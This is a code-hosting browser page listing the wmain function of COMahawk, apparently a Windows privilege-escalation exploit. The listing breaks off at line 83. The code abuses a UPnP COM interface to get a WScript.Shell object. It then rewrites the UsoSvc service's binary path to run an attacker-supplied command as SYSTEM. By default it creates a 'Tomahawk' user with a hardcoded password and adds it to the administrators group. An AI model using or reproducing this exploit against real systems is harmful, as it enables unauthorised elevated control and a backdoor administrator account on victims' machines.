MCPcopy Create free account
hub / github.com/apt69/COMahawk / wmain

Function wmain

COMahawk/COMahawk.cpp:26–97  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

24};
25
26int wmain(int argc, wchar_t* argv[], wchar_t* envp[])
27{
28 CoInitialize(NULL);
29
30 HRESULT hr1, hr2 = 0, hr3 = 0, hr4 = 0;
31
32 IUPnPContainerManager* ContainerMgr;
33
34 hr1 = CoCreateInstance(guidObject, nullptr, CLSCTX_ALL, IID_PPV_ARGS(&ContainerMgr));
35
36 hr2 = ContainerMgr->ReferenceContainer((wchar_t*)L"apt69");
37
38 CLSID clsid;
39
40 CLSIDFromProgID(OLESTR("WScript.Shell"), &clsid);
41
42 IWshShell* WshInterface = nullptr;
43
44 auto ShellUUID = __uuidof(IWshShell);
45
46 hr3 = ContainerMgr->CreateInstance((wchar_t*)L"apt69", &clsid, &ShellUUID, (IUnknown**)&WshInterface);
47
48 int out;
49 VARIANT s;
50 InitVariantFromInt32(1, &s);
51 VARIANT type;
52 InitVariantFromBoolean(TRUE, &type);
53
54 if (argc > 1)
55 {
56 const wchar_t* msg[6] = { L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"cmd.exe /c ", L"sc start UsoSvc", L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"C:\\WINDOWS\\system32\\svchost.exe - k netsvcs - p\"", L"sc start UsoSvc" };
57
58 const wchar_t* command = (std::wstring(msg[1]) + std::wstring(argv[1]) + std::wstring(L"\"")).data();
59
60 printf("[+] Executing command [ %S ]\n", command);
61
62 printf("[\\] Progress: ");
63 for (int i = 0; i < 6; i++)
64 {
65 if (i == 1)
66 {
67 hr4 = WshInterface->Run(::SysAllocString(command), &s, &type, &out);
68 }
69 else
70 {
71 hr4 = WshInterface->Run(::SysAllocString(msg[i]), &s, &type, &out);
72 }
73 Sleep(3000);
74 printf(" %d/6", i+1);
75 }
76
77 printf("\n[+] Command executed.");
78 }
79 else
80 {
81 const wchar_t* msg[9] = { L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"cmd.exe /c net user /add Tomahawk RibSt3ak69 &\"", L"sc start UsoSvc", L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"cmd.exe /c net localgroup administrators /add Tomahawk & \"", L"sc start UsoSvc", L"sc stop UsoSvc", L"sc config UsoSvc binpath= \"C:\\WINDOWS\\system32\\svchost.exe - k netsvcs - p\"", L"sc start UsoSvc" };
82
83 printf("[\\] Progress: ");

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected